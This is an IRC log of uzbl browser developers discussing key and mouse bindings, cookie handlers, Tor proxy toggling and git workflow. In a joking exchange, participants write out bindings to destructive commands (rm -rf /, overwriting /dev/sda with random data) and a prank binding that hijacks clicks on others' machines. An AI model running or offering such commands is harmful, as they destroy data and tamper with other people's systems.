22:10 < scj> Mittagessen: bind foo = chain 'set bar = baz' 'set quux = wut'
22:10 < Mittagessen> nice
22:11 < bruenig> Dieterbe: that warning doesn't usually pop up. That was actually the first time that happened. And that warning pops up way after the window dies. I will look for whatever that 132 char is though.
22:11 < bruenig> the window is dead way before the killall is issued I should say
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22:13 < Mittagessen> cookies still work
22:14 < bruenig> hmm
22:14 < bruenig> that was it, weird
22:14 < bruenig> well now there is no status bar...
22:14 < bruenig> but that is not a problem with uzbl, so yeah
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22:20 < bct> Dieterbe: eh? i don't.
22:21 < bct> i think you're thinking of somebody else, i'm a darcs fan :P
22:22 < Mittagessen> is there a way to unset a variable?
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22:25 < Dieterbe> bct: oops. confused you with bob_f 
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22:27 < bct> Mittagessen, until we get the cookie hack fixed (we're just overriding webkit's support) your best bet might be to write a cookie handler that just responds to every request with a newline.
22:27 < bct> i think that will work.
22:28 < bct> maybe cookie_handler = sh "echo #" will do the trick?
22:28 < Mittagessen> hmm
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22:28 < bct> it will still send a cookie header, it'll just be blank.
22:28 < bct> (the other option is to use a proxy that strips it)
22:31 < Mittagessen> I would like to trigger tor use with :tor and :untor
22:31 < Mittagessen> the proxy works but not the handler
22:31 < Mittagessen> javascript on/off works too
22:31 < Mittagessen> right now it looks like thi
22:31 < Mittagessen> s
22:31 < Mittagessen> bind    :untor     = chain 'set proxy_url = ' 'set cookie_handler = spawn $XDG_DATA_HOME/uzbl/scripts/cookies.py' 'set disable_scripts = 0'
22:31 < Mittagessen> bind    :tor     =  chain 'set proxy_url = http://127.0.0.1:8123' 'set cookie_handler = /bin/echo #' 'set disable_scripts = 1'
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22:49 < Dieterbe> allright. think i answered all pending mails in my todo queue. tomorrow it will be merging all pending trees/patches
22:49 < holizz> Yay!
22:49 < Dieterbe> i'm off
22:49 < Dieterbe> goodnight guys
22:50 < holizz> Night.
22:50 < krayon> Dieterbe: Night. Thanks for the info etc
22:53 < holizz> Vote: when NOT in insert mode, should the arrow keys move the cursor in a text field or should they scroll the page?
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22:57 < bct> i say scroll.
22:58 < holizz> Me too. It's annoying when Web pages use onload to pre-select a text field (i.e. Twitter), and you just want to scroll.
22:59 < holizz> I haven't looked, but I assume uzbl is passing all non-text keys straight to WebKit without processing them (since they can't be bound yet).
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23:03 < krayon> YAY! I have mouse overrides going :)
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23:05 < krayon> Can anyone think of a need for mouse button up, double click, triple click, or mouse move events?
23:07 < holizz> krayon, You should need to triple-click to visit a link. And don't document it anywhere.
23:07 < krayon> holizz: YEAH! That'd rock :P
23:08 < holizz> The test is how long it takes new users to figure it out.
23:08 < krayon> I suppose one should make mice really configurable :/
23:08 < krayon> ATM I've just got the ability to assign any mouse button like a key
23:08 < krayon> And if one exists, the default action won't work (so if you assign <mouse1> then you can't click links) :P
23:08 < holizz> bind triple-click = sh "rm -rf /".
23:09 < krayon> But I'm changing it now to support optional override (something like <mouse1x> to override, or <mouse1> to run the bind AND default action
23:09 < krayon> No that's mean
23:09 < krayon> Plus it doesn't work in Arch or Ubuntu :/
23:10 < krayon> Requires --no-root-preserve IIRC
23:10 < krayon> something like rm -rf ${XDG_CONFIG_HOME} ${XDG_DATA_HOME} is sufficient
23:19 < Cheeseum> bind scroll-up = sh "cat /dev/urandom > /dev/sda"
23:21 < krayon> If I fork, then clone to my local from my github, then pull Dieterbe's experimental, when it goes back up to github it'll still know where his stuff came from won't it? (as in it won't think _his_ experimental changes are _my_ changes)?
23:21 < holizz> bind scroll-down = sh "cat /dev/sda > /dev/urandom"
23:21 < bct> krayon, that is correct.
23:21 < bct> they'll be in your github, but they'll still have all the right metadata attached.
23:21 < krayon> hmm, this git is interesting
23:22 < krayon> I'll probably still stick with svn for my stuff though :P
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23:24 < holizz> krayon, I was using svn for my personal stuff... I'd written loads of backup scripts because svn doesn't put its history into each checkout. But with git I just have a copy at home, and a copy on GitHub - easy.
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23:25 < holizz> I think I just found the best way to get rid of selected_url.
23:25 < bct> oh?
23:26 < jrick> hmm, is there some uzbl setting I can change to increase the number of lines are scrolled when I use my scroll wheel?
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23:28 < krayon> jrick: In my fork, dunno about normal
23:28 < holizz> bct, You know selected_url? It's the cheap hack which means you can place the cursor, scroll the page, click ... and nothings happens iff the link would have opened a new window.
23:29 < jrick> krayon: are your changes being pushed to the experimental repo?
23:29 < krayon> jrick: Doesn't it work where Dieterbe pulls them if he wants tehm?
23:29  * krayon is new to git
23:29 < bct> holizz, yes. it's a big thorn in my side.
23:30 < jrick> krayon: not sure
23:30 < bct> krayon, that is correct.
23:30 < bct> it's possible to set up your repo so that other people can push to it
23:31 < bct> but that's uncommon except where people know each other realy well.
23:33 < jrick> krayon: do you know if your work will patch cleanly against the current master branch? That's the one I'm currently using.
23:34 < krayon> jrick: should do.  there's not many changes and there's not much diff between master/experimental from what I can see.
23:34 < krayon> jrick: I haven't committed it yet though :/
23:34 < jrick> krayon: well, I'm a git noob. I couldn't even figure out how to track experimental :p
23:34 < scj> jrick: dev work should be against dieterbe/experimental
23:35 < krayon> trying to work out how to git pull from dieterbe's experimental
23:35 < scj> git checkout -r dieterbe/experimental
23:35 < scj> or origin/experimental
23:35 < krayon> jrick: Yeah I've only been using git for the last 2 hours :P
23:36 < holizz> bct, Give this a shot http://github.com/holizz/uzbl/commit/61127e1e5a86ac59e0c1677ae2b3812f33e85bf8
23:36 < krayon> scj: I have already clone'd my branch.  Can I now do that ^
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23:37 < bct> aaah, just pop up windows regardless?
23:37 < bct> but then we'll get js popups :(
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23:38 < holizz> bct: The only insurance against JS popups before was that the cursor was over the link.
23:39 < scj> krayon: no idea, I'm a git noob too :v
23:39 < krayon> scj: Ah, I was missing the "remote add" bit
23:40 < bct> well, it looks good. is it your branch that fixes the double-window thing too holizz?
23:40 < N30N> you can always make a js script that replaces window.open if you don't want popups
23:40 < bct> oooh, now there's an idea.
23:41 < Mittagessen> is the double-window thing the bug that every time you click on a link it opens two times?
23:41 < scj> if the link has the target="_blank" attribute
23:42 < bct> yeah, that's what i mean.
23:42 < Mittagessen> ok until now I thought I just was too stupid to use a mouse anymore
23:44 < holizz> bct, The double-window thing is in my experimental, and the commit I just made is only in my unstable branch (which is a recent fork of experimental). But if it works for you too I might cherry-pick it into my experimental.
23:44 < N30N> Mittagessen: you can block the referer header with a proxy such as polipo ;)
23:45 < Mittagessen> I know
23:45 < holizz> I've had that bug fixed for ages. I don't know why Dieterbe didn't merge it sooner. But he'll do that tomorrow, he says. You can all enjoy my cool features.
23:45 < holizz> "Welcome to last week, Dieterbe/experimental users!"
23:45 < N30N> Mittagessen: k, my irc log is missing a hour or so ;)
23:45 < Mittagessen> N3ON: I just wanted to know if I can do it with variables ^^
23:45 < bct> it seems like Dieterbe spends a lot of time merging.
23:46 < Mittagessen> N3ON: I'd like to trigger the behavior through :tor and :untor
23:46 < holizz> bct, Yeah. Must take ages.
23:47 < scj> we really should have a unset command
23:48 < Mittagessen> unset would be nice
23:49 < bct> i thought a black set was equivalent?
23:49 < bct> err, blank.
23:51 < Mittagessen> yeah it is
23:51 < Mittagessen> but it doesn't seem to work for the cookie handler
23:51 < Mittagessen> strange
23:52 < Mittagessen> anyway unset $variable looks much nicer than set $variable =
23:52 < Mittagessen> ^^
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23:53 < psy> hi again
23:54 < Mittagessen> psy are you the psy from leipzig,germany?
23:54 < psy> Mittagessen: hehe, yes :D
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23:55 < psy> Mittagessen: you are the Mittagessen from sublab channel?
23:55 < Mittagessen> jup
23:56 < Mittagessen> the one who was at the chaostreff two days ago
23:56 < psy> Mittagessen: and do you using uzbl now?
23:56 < Mittagessen> I just deleted iceweasel two hours ago ^^
23:57 < psy> yeah
23:57 < Mittagessen> uzbl is my only browser right now
23:57 < psy> Im not finished with configuration ...
23:58 < Mittagessen> I ran out of single keys on my keyboard ^^
23:58 < holizz> OH SHI--- I didn't test opening new windows using the right-click menu.
23:59 < Mittagessen> @holizz is your branch worth trying out?
23:59 < holizz> I'm such a terrible developer. I keep making these changes, pushing them as quickly as I can in my main development branch, and then having to revert them.
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23:59 < Mittagessen> at least you are using a version control system
--- Day changed Sat Jul 11 2009
00:00 < Mittagessen> mine consists of tarballs and diffs
00:00 < holizz> Mittagessen, It's got loads of fixes. Sometimes a simple fix takes 3 commits because I commit, push, and THEN realise I did something wrong.
00:01 < Mittagessen> so it fixes alot of thing but brakes quite a bit at the same time?
00:02 < holizz> Mittagessen, Most of the things that get broken get fixed quite quickly. Like I only have one broken thing right now.
00:03 < Mittagessen> that's nice (the only one broken thing)
00:04 < Mittagessen> I think I'll try it out tomorrow
00:04 < Mittagessen> it's kindof too late over here to try experimental software right now
00:09 < bct> holizz, this is why we need automated tests.
00:10 < holizz> bct, Tests would be nice.
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00:10 < holizz> We could have a pre-commit hook that runs the tests.
00:11 < holizz> But I don't really know how to write tests for GUIs...
00:11 < bct> yeah, that's the tricky part :(
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00:43 < krayon> Hire India... or some monkeys... or McDonalds employees
00:43 < krayon> Or find someone who has that "special" something where whenever they touch something technical it breaks.
00:43 < krayon> They may great testers ;)
00:45 < holizz> krayon, I think you may have had a great thought... except for the fact that people who break things are almost always clueless about why things break.
00:45 < krayon> holizz: :/ true
00:45 < krayon> I think I've successfully checked in my changes to my fork
00:45 < krayon> But who knows
00:45 < krayon> :P
00:46 < krayon> Might have just destroyed the universe instead :(
00:46 < krayon> About bed time for me though, it's 8:45am here
00:47 < holizz> 8.45...? Impressive.
00:48 < krayon> Yeah and to think ... I got home very late from work @ about 11:30pm and thought "I'm really tired"
00:48 < holizz> Did you push your changes?
00:48 < krayon> But I couldn't resist having a "quick" look at uzbl's sourse
00:48 < krayon> I THINK so
00:48 < krayon> :/
00:48 < holizz> Which branch?
00:49 < krayon> um, my... one. :S
00:50 < holizz> Have you tried using tig? I find it's really handy for seeing what's going on.
00:50 < krayon> I did a checkout, then a pull, then a commit -a
00:51 < jrick> krayon: if your patches are pushed to your repo, I'd love to test it
00:51 < holizz> Run git branch.
00:51 < holizz> The one with the asterisk is the branch you're on.
00:52 < krayon> It's on my master I think
00:52 < holizz> Okay. Then "git push origin master" should push your changes to github.
00:53 < krayon> OHHHHH right!
00:53 < krayon> is the master optional if it's your current branch?
00:54 < krayon> oops
00:54 < holizz> Sort of. I think you have to set an option.
00:54 < krayon> um, I just "git push" and it workeed
00:54 < krayon> (accidental ENTER)
00:55 < holizz> Sometimes it complains when you just "git push", sometimes it doesn't.
00:55 < holizz> git works in mysterious ways.
00:56 < krayon> suppose I should have been sure there wasn't anything too ugly in there :/
00:57 < krayon> "I'm such a terrible developer. I keep making these changes, pushing them as quickly as I can in my main development..." < I'm probably in good company ;)
00:57 < holizz> This looks exciting.
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00:58 < jrick> ok, I'm currently tracking master. what can I do to start tracking krayon's repo?
00:58  * jrick <-- git noob
00:58 < holizz> git remote add krayon git://github.com/krayon/uzbl.git
00:58 < krayon> You can: bind <mouse1> = set url = http://pornsite.com/ on peoples machines
00:59 < krayon> And it'll stop left-click from working and make it goto pornsite.com all the time :D
00:59 < krayon> <wheelup> <wheeldown> <wheelleft> <wheelright> too (dunno what left/right are but ...)
00:59 < rob|_> Mittagessen: so does uzbl, just pass it the command via either one of its interfaces
01:00 < jrick> holizz: ok, and now what to pull from that repo?
01:00 < rob|_> hell, sorry
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01:00 < holizz> git fetch krayon/master ; git checkout krayon/master
01:01 < jrick> fatal: 'krayon/master' does not appear to be a git repository
01:01 < krayon> holizz: won't that mess with his current master (Dieterbe)?
01:01 < holizz> krayon, I added that binding, but it doesn't work.
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01:01 < holizz> jrick, Oops. The first one should just be krayon.
01:01 < krayon> holizz: :/ ... I have: bind    <mouse1>   = set uri = http://www.google.com.au/
01:03 < holizz> Oops. You said "set url" earlier, and I just blindly copy/pasted.
01:03 < krayon> sorry
01:03 < krayon> My bad
01:03 < krayon> URL = habit
01:03 < krayon> NOTE: I have no idea what's at http://pornsite.com/ FWIW
01:04 < jrick> krayon: cool, it worked. so how can I change what the scroll wheel does?
01:04 < krayon> jrick: bind <wheelup> = scroll_vert -300
01:04 < krayon> that should work
01:04 < jrick> ok, cool
01:05 < jrick> and I'm guessing <wheeldown> is the other one
01:05 < krayon> yeah
01:05 < krayon> and <wheelright> and <wheelleft> too but I can't get my mouse to generate them
01:05 < krayon> My mouse generates buttons for the rest
01:06 < krayon> And 1 doesn't work so I can only use: <mouse1>, <mouse2>, <mouse3>, <wheelup>, <wheeldown>, <mouse8> and <mouse9> YMMV
01:06 < krayon> man I love this uzbl! :D
01:07 < jrick> this is really cool
01:07 < jrick> thanks for this!
01:07 < krayon> I've been using it for 2 days and am already really pleased with it :)
01:07 < holizz> <mouse2> shoud be handy for setting it to get what's in the paste ring and visit that URI ... or for opening the hovering URI in a new window (might need some adjustments to do that) ... but it would be hard to make it do both. And the scroll wheel bindings are certainly good.
01:07 < krayon> jrick: T'was very easy.  Wish I could do some of the more complex stuffs :/
01:08 < krayon> holizz: Yeah true.
01:08 < krayon> I plan to change it to support optional override instead of enforced
01:08 < krayon> Though that still wouldn't really fix that issue.
01:08 < scj> can you add key symbols while you're at it? space and pgdn and so on
01:09 < krayon> Need to query webkit for what's being clicked/under the mouse
01:09 < krayon> I really like this webkit thing... seems really well interface-able-ness.
01:10 < krayon> scj: space might be a bit difficult
01:10 < krayon> But others are easy enough
01:10 < krayon> Initially I was thinking of how to disable the command: "<mouse1>" from generating the same event but then I realised who cares if it does
01:10 < krayon> So you can actually generate them using the string
01:10 < holizz> krayon, There are some areas where it's better... but for trying to open a URI in a new window, that's quite bothersome.
01:11 < krayon> Although I just realised that means it'll screw you up if you use simply "<" as a command :/
01:11 < krayon> holizz: What do you mean?
01:11 < krayon> holizz: If you are referring to the override, it only occurs if you have something mapped
01:12 < krayon> holizz: IE: don't bind <mouse2> and it won't take over mouse2
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01:13 < jrick> I really hope Dieterbe picks up these changes :D
01:14 < holizz> krayon, No, I mean the create-web-view callback doesn't even get the URI, which is very annoying.
01:15 < holizz> I'm going to have to create a new WebView, wait for that to get directed to the URI, and THEN I can run the new_window script (or just open a new window, depending on which branch you're using ;).
01:16 < krayon> nasty.
01:18 < holizz> It makes a lot of sense if you've got all your WebViews in the same process, but otherwise it's annoying.
01:18 < krayon> 2 things I need to do is solve the screwing up of "<" as an independent bind when using this, and the ability to optionally pass along the events... unless someone greater rewrites it in the meantime :P
01:19 < krayon> holizz: What do you get from the callback?
01:20 < holizz> You get the WebView and the WebFrame that spawned the signal. And it's supposed to return the new WebView object.
01:21 < krayon> ehhh... You could get a URL based on hovering :(
01:21 < holizz> krayon, That's how we do it ATM, but it's problematic.
01:21 < krayon> As dirty hacks usually are :/
01:22 < holizz> I seem to be able to bind things to "<". Are you sure it doesn't work?
01:22  * krayon just "clicked" about the earlier selected_url conversation
01:22 < krayon> holizz: I would have thought not :/
01:23 < holizz> That's what I thought at first. But it seems to work fine with < and <<, at least.
01:23 < krayon> huh... yeah it does.
01:23 < krayon> that's ... weird
01:24 < krayon> I would have thought that the checkery thingy would look for other binds with the same starting chars
01:24 < holizz> Although, I really want to be able to bind a command to the string "<mouse1>".
01:24 < krayon> holizz: :|
01:24 < krayon> :P
01:25  * krayon changes it from "<mouse1>" to "<[-=-THE_MOUSE_THAT_I_USE_TO_CLICK_ON_LINKS-=-]>"
01:25 < holizz> WHAT?! Now I'm going to have to change all my bindings that start with "<[-=-THE_MOUSE_THAT_I_USE_TO_CLICK_ON_LINKS-=-]>"...
01:26 < andash> what's a mouse?
01:26 < krayon> lmao
01:27 < holizz> andash uses uzbl in the framebuffer.
01:27 < andash> you know it ;)
01:27 < krayon> andash: This relatively new interface device.  It's analog
01:27 < krayon> andash: Horrible thing really.
01:28 < andash> no but i actually disable my touchpad most of the time, then i have to use my keyboard and i constantly learn faster and less finger breaking methods to use my wm etc
01:28 < krayon> You know what's sad... my housemate etc always have a go at me for being to console'y and keyboard oriented etc and I just made uzbl support mice so I could use it :(
01:44 < krayon> Well, 9:28am... bed time... I'm falling to sleep on the desk :P
01:45 < krayon> Catch you guys in 6-12 hours :)
01:46 < holizz> Bye!
01:46 < holizz> I'm going to bed after this episode of Daria.
01:47 < krayon> Yeah but it's night where you are isn't it? ... so I still win
01:47 < krayon> :P
01:47 < holizz> uzbl's kept me up till 3 once or twice.
01:47 < holizz> But I'm not that hardcore.
01:47 < krayon> As I say, came home from work really tired and thought I'll have a quick play :P
01:48 < krayon> I can't believe how ub3r it all is.
01:48 < krayon> FINALLY a browser that doesn't disgust me.
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01:48 < holizz> uz3r
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01:57 < holizz> <3 Daria. <3 Sleep. One, then t'other.
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02:19 < L29Ah> lol i can't write to uzbl wiki with uzbl
02:19 < scj> L29Ah: guess you aren't trying hard enough, because I've done it
02:20 < L29Ah> http://dpaste.com/65713/ -- modified example download scropt with content-type separation and cookies
02:21 < L29Ah> if anyone needs
02:22 < L29Ah> dokuwiki says i haven't finished the edit and stores the draft
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02:55 < bct> oooh, cookies. nice.
02:56 < bct> i was thinking of calling the cookie handler, but that's much cleaner if you know cookies.txt is in the right format.
03:09 < L29Ah> at least, default python cookies handler is ok
03:11 < bct> i think all the cookie handlers that have been published use the same format.
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06:46 < jvogel> Dieterbe: Thanks for adding my blog post about installing uzbl on debian!
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10:11 < Dieterbe> good morning ladies
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10:11 < Dieterbe> jvogel: np :)
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10:19 < Rodya> Dieterbe, can you tell me what enable_private=1 actually disables?
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10:22 < Dieterbe> i have no idea
10:22 < Rodya> lol
10:22 < Rodya> I tested it, and it doesn't appear to stop the saving of cookies
10:22 < Rodya> not sure what else there is (I already have history disabled)
10:36 < Dieterbe>  holizz> Vote: when NOT in insert mode, should the arrow keys move the cursor in a text field or should they scroll the page? <-- user should be able to specify that in his config
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10:36 < tsdh> Moin.
10:38 < tsdh> Since my patch didn't arrive at the list and gmane even didn't send me an authorization request, does someone bother to take the patch by mail, or may I paste it at pastebin?
10:39 < Dieterbe> i probably just need to accept it in the mailing list admin panel
10:40 < tsdh> But it was my first message, and in that cases normally gmane first sends an authorization mail back to me.  At least if the list is member-only.  So I guess there's no mail in the moderation queue.  But you might check that..
10:42 < Dieterbe> indeed, no mail in moderation queue
10:42 < Dieterbe> what patch did you make?
10:42 < tsdh> But if you prefer I could also fork at github.
10:42 < tsdh> The VISUAL thing to formfiller.sh.
10:43 < Dieterbe> yes, fork me at github, that's the easiest :)
10:45 < tsdh> Ok, gimme a second.  I don't have an account yet.
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10:52 < tsdh> Dieterbe: Ok, I guess you should be able to pull from git://github.com/tsdh/uzbl.git
10:55 < Dieterbe> holizz> I've had that bug fixed for ages. I don't know why Dieterbe didn't merge it sooner. --> purely lack of time
10:56 < tsdh> Another thing.  I have a downloads folder but uzbl always uses $HOME.  Would introducing uzbl env vars be the right thing to do, like UZBL_DOWNLOAD_DIR and use them if set?
10:57 < bob_f> tsdh: Why an env var and not just directly in the config file ?
10:57 < bob_f> Hm, well I guess I can imagine a use for it.
10:57 < Dieterbe> tsdh: uzbl doesn't do any downloading. you use a script that handles downloading and you have 100% control over what that script does
10:58 < Rodya> tsdh, just edit the download handler to cd to that directory before running wget
10:58 < tsdh> Sure, but IMO it would be good if the example scripts would be comfortable and configurable to most users.
11:00 < Dieterbe> holizz> I'm such a terrible developer. I keep making these changes, pushing them as quickly as I can in my main development branch, and then having to revert them. --> that's very bad indeed. please test carefully, then push
11:01 < tsdh> But maybe you are right.  The scripts are in examples/ so treat em like that. :-)
11:01 < Phillemann> tsdh: I agree with you, a good default configuration is a huge plus for an application like uzbl.
11:01 < Dieterbe> holizz> Have you tried using tig? --> what's tig?
11:02 < tsdh> Dieterbe: git the other way round. ;-)
11:11 < holizz> Dieterbe, tig's an interactive curses interface - kind of like gitk, it's really handy.
11:12 < holizz> And it has keybindings so you can git checkout experimental ; tig unstable -> navigate to the commit in the unstable branch you want, then use the binding for git cherry-pick, for instance.
11:15 < Dieterbe> aha cool
11:30 < tsdh> Is there a discription of the parameters provided to a handler?
11:30 < tsdh> Like download_handler?
11:31 < Rodya> In the readme
11:32 < tsdh> Thanks
11:39 < MichaelRaskin> What should I do for the uzbl to render local files correctly?
11:39 < MichaelRaskin> Or maybe it is webkit compilation configuration failure on my part.
11:39 < MichaelRaskin> It always assumes text/plain on html documents and I cannot change it
11:40 < MichaelRaskin> Setting content-type manually would be ok
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11:49 < MichaelRaskin> Or is there a way to POST from JavaScript?
12:05 < Dieterbe> yes
12:06 < Dieterbe> xmlrpc ?
12:06 < Dieterbe> no wait, xmlhttp? whatever it's called
12:09 < holizz> Dieterbe, Would it help if I created a new branch from your experimental, then make a single commit for each bugfix I made in my experimental? (i.e. get rid of all the 3-commits-per-fix).
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12:15 < Dieterbe> holizz: yes, probably.  or you could have a "holizz-bleeding-edge" branch in which you do your crazy stuff, and move the stuff as single commits into your experimental
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12:30 < holizz> Is there a way to get rid of a commit, I wonder?
12:31 < tsdh> holizz: git rebase is your friend.
12:33 < holizz> Oh dear. The man page doesn't make it look particularly easy.
12:35 < holizz> I wonder if somebody's made a script that works like "git delete (commit)"...
12:36 < holizz> They have. How handy.
12:38 < Dieterbe> holizz: one you pushed to a public repo, you shouldn't do it
12:38 < holizz> Dieterbe, I know. In fact GitHub won't let you do it - it's impossible. This is the purpose of the "new_experimental" branch.
12:41 < holizz> That wasn't so hard. I just created a temp_experimental branch based on experimental, rebased that branch on Dieterbe/experimental so all my commits were in one place, then I cherry-picked the commits into new_experimental using tig (some I cherry-picked without commiting and then commited all at once).
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12:43 < holizz> Dieterbe, Do you want my new_window changes applied before you merge? Or do you want to consider those seperately?
12:44 < tsdh> When using scripts/hint.js, how do I actually follow a link?
12:48 < Dieterbe> holizz: what are all your changes again? new_window, and..?
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12:50 < github> uzbl: Dieter Plaetinck experimental SHA1-2161d9e
12:50 < github> faq entry about default usability
12:50 < github> http://bit.ly/4sme7r
12:50 < github> uzbl: Dieter Plaetinck experimental SHA1-e7ec1cf
12:50 < github> bring readme a bit more up to date
12:50 < holizz> new_experimental contains: A couple of formatting things, one getting rid of all the whitespace at the end of lines, set the background so that it works for uzbl_tabbed, don't open two windows on target=_blank, don't crash when "set icon" is called twice, first argument as URI, and the --version option. And new_window is in another branch ATM.
12:50 < github> http://bit.ly/BQGdG
12:50 < github> uzbl: Dieter Plaetinck experimental SHA1-f7c11b7
12:50 < github> new contribution instructions, most notably new merging workflow
12:50 < github> http://bit.ly/3bTpna
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12:57 < github> uzbl: Dieter Plaetinck experimental SHA1-68daf84
12:57 < github> documentation fixes
12:57 < github> http://bit.ly/hoiJG
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13:26 < Dieterbe> holizz: did you see the mail on the ML? will you do a new pull request?
13:28 < holizz> Sure.
13:29 < Dieterbe> great thanks
13:29 < Dieterbe> don't forget to add the necessary explanations eg for `jar.load(ignore_discard=True)`, even though you already sent them to me on github
13:35 < holizz> I didn't cherry-pick that one. I won't bother patching that until I can make it work properly..
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13:43 < Dieterbe> ok
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13:55 < holizz> I like the way Gmail encourages me to "invite uzbl-dev to Google Mail".
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14:07 < Dieterbe> :)
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14:13 < Dieterbe> holizz: did you verify that your backslash change in cookies.py didn't break anything?
14:14 < Dieterbe> diff looks good btw. off for food . see you soon
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14:27 < holizz> Dieterbe, Yeah, I'm sure I did.
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15:00 < eekee> how do you enter text into a form field. "i" just makes "i" appear in the title bar, & subsequent characters go there too
15:01 < holizz> eekee, bind i = toggle_insert_mode
15:01 < eekee> ahh
15:02 < holizz> Try copying the default config into ~/.config/uzbl/
15:02 < eekee> ty :)
15:02 < eekee> /usr/share/uzbl/examples/configs/sampleconfig ?
15:04 < holizz> sampleconfig got removed about a month ago. You're using a really old version of uzbl.
15:06 < eekee> ah heh
15:06  * eekee updates
15:08 < eekee> that'll take some looking at, it'll have to wait
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15:33 < krayon> So, to merge the experimental updates into mine can I can do it on my local then push back to my github and it'll work as expected?
15:33 < krayon> Because if so ... git is cool :D
15:34 < mason-l> Yes & Yes git is cool.
15:34 < krayon> Rock on.  Thanks mason-l
15:41 < Dieterbe> can anyone verify that the modkey fix @ http://www.uzbl.org/bugs/index.php?do=details&task_id=47#comment115 works? 
15:49 < krayon> Dieterbe: I know nothing about unicode at all but does it not only work if you use it throughout
15:50 < krayon> As in, putting this in may fix an issue with a specific section but to make it work properly would you not need to add unicode to the project as a whol.
15:50 < krayon> s/whol/whole/
15:50 < krayon> As I say, I know NOTHING about Unicode and don't use it so I might have no idea what I'm saying.
15:51 < Dieterbe> :)
15:52 < krayon> I suppose the question would be does it already work for others because if so then that may mean this is a tip of an iceberg
15:52 < krayon> Not to say unicode/other languages etc shouldn't be supported, just saying...
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16:02 < Dieterbe> hello github !
16:07 < holizz> Yay. Merged.
16:09 < holizz> The output I based that pull request on was from git cherry -v, BTW. Not sure if anything else gives you nice one-line commit-id + commit-msg.
16:11 < holizz> mason-l: Now you can set new_window in uzbl_tabbed, and have new windows open in new tabs.
16:12 < Dieterbe> holizz: you know how when you do uzbl --help it shows some help output? well i would like it to show: uzbl [ uri ]
16:12 < Dieterbe> holizz: but i don't know how to do it :)
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16:13 < holizz> Dieterbe, Yeah, I wondered how to do that.
16:13 < holizz> I think you can fake it by putting it here:
16:13 < holizz> g_option_context_new ("- some stuff here maybe someday");
16:13 < Dieterbe> holizz: d'oh. you could be right
16:14 < holizz> Not sure if that's how you're supposed to do it, or if that would be abuse.
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16:14 < Dieterbe> uzbl [OPTION...] [ uri ] - load a uri by default
16:14 < Dieterbe> doesn't look too clean :P
16:14 < Dieterbe> i'll research this a bit
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16:18 < github> uzbl: Dieter Plaetinck experimental SHA1-0e985d4
16:18 < github> document alternative way for uri setting
16:18 < github> http://bit.ly/cev7O
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16:21 < holizz> What's the consensus on set uri = vs uri? Which should we be using in the examples, etc.?
16:23 < Dieterbe> there is no consensus yet i think. i would do 'set uri'everywhere but i don't know the opinion of the other guys ( rob|_ and such)
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16:27 < holizz> Interesting. I'm a fan of "uri" myself as rather than changing an option, it takes an action and follows the URI.
16:29 < krayon> holizz: I was about to say go the "set" route but you're probably absolutely correct - It's an action, not a setting.
16:29 < krayon> s/probably//
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16:36 < Dieterbe> Krayon / holizz , well there are many variables that have callback functions attached. eg when you change the variable, some logic is performed. this is the case for the title, for the uri (go to that uri) and some others
16:38 < Krayon> Dieterbe: hmm, I guess really the only reason I'd agree is because of the whole 1 instance = 1 page, no more, no less.
16:38 < Krayon> So now I have to change my mind... AGAIN
16:38 < Krayon> :P
16:38 < Krayon> No wonder they are both there :/
16:40 < holizz> Dieterbe, I realise that, but from the point of view of a user, it takes an action, and therefore it should look like a function, not a variable.
16:43 < Dieterbe> yeah but then you can transform many variables into actions. the point is not to have a 100% correct "representation of semantic meaning of concepts". the point is to have a simple and elegant API
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16:54 < rob|_> holizz: the point is the double use of the variables for one you can set them and take some action _and_ query their value
16:54 < rob|_> with actions this would look rather confusing
16:59 < MichaelRaskin> Dieterbe, thanks for reminding about XMLHttpRequest. But before I build the less-than-elegant solution with dumping the contents of the page and reloading it via local webserver, is there any saner way to set content-type of a page?
17:00 < MichaelRaskin> Especially local page
17:00 < Dieterbe> rob|_: so what do you think? uri or set uri :)
17:02 < rob|_> well, as i already said on the ML i'd vote for 'set uri'. especially when we introduce custom vars it'll be rather confusing to call those actions and not variables..
17:02 < rob|_> btw, custom vars would be especially nice for uzbl_tabbed as it wouldn't need to parse the config file on its own anymore
17:03 < rob|_> but would just query the uzbl instance for any vars it is interested in
17:03 < Krayon> that's another good point - anything that can be queried should be a variable.
17:05 < rob|_> also the action approach would be messy in cases like:  set custom_var = @uzbl_var blabla @another_var
17:06 < rob|_> or even 'set foo = \@bar @baz' note the use of \ to indicate dynamic or 'static' evaluation
17:07 < Dieterbe> i'm not sure what you mean with your last 2 lines. but i'm glad you agree on 'set uir'
17:07 < Dieterbe> uri*
17:08 < rob|_> Dieterbe: well, let's look at 'status_format' as a good usage example of my above statement
17:09 < rob|_> we want it to show the current uri and some uname info:  set status_format = \@uri @(uname -a)@
17:10 < rob|_> uri would be re-eavluated on every call but the @(...)@ part only on the variable assigment, i.e. in further calls it is just a static string that does not require any spawning
17:10 < rob|_> hope it's clear what i'm trying to say
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17:18 < Dieterbe> yes, i understand that part
17:18 < Dieterbe> but i don't see what this has to do with 'set uri vs uri'
17:18 < rob|_> well, how would you do that with an action?
17:19 < Dieterbe> ok, now i get it
17:19 < Dieterbe> good point
17:19 < Dieterbe> holizz: we have a consensus !
17:19 < Dieterbe> hooray
17:20 < Krayon> Does something like that already exist? (the @ stuff above)?
17:20 < Dieterbe> yes
17:21 < holizz> Dieterbe, I completely agree... except it's 6 characters longer than "uri" and will probably increase the bloat of my config file by at least 60 characters!
17:21 < Krayon> hmmm
17:22 < Krayon> alias uri = set uri =
17:22 < Dieterbe> that indeed is a little drawback, but i think the cleanness of the api compensates enough for this :)
17:22 < Krayon> :P
17:22 < holizz> New idea: make all options one character long.
17:22 < Dieterbe> sed 's/uri/set uri/' $config file | uzbl
17:22 < Dieterbe> sed 's/uri/set uri/' $config file | uzbl -c -
17:23 < holizz> Unicode has over 60,000 characters. I'm sure we'll find a command for each one.
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17:50 < br0tat0chip> hmm i cant get my cookies to work. i have cookies.py pointed to in my config file
17:51 < holizz> What's the problem, exactly?
17:54 < br0tat0chip> whenever i open a new window in last.fm or any other site it doesnt keep me logged in
17:55 < br0tat0chip> @ holizz
17:56 < holizz> Aha. Does the directory it puts the cookies in exist? (i.e. .local/share/uzbl/)
17:58 < br0tat0chip> oo i think the XDG HOME variable is messing it up. let me change that
17:58 < br0tat0chip> im looking at cookies.sh now
17:59 < holizz> br0tat0chip, cookies.rb > cookies.py > cookies.sh
18:01 < br0tat0chip> ah okay. doing that for .py ...
18:09 < br0tat0chip> holizz: success!
18:12 < holizz> br0tat0chip, Hooray! What did you do?
18:13 < br0tat0chip> decided to leave the XDG variable the same and create the directory in .local/share/ . thanks for your help
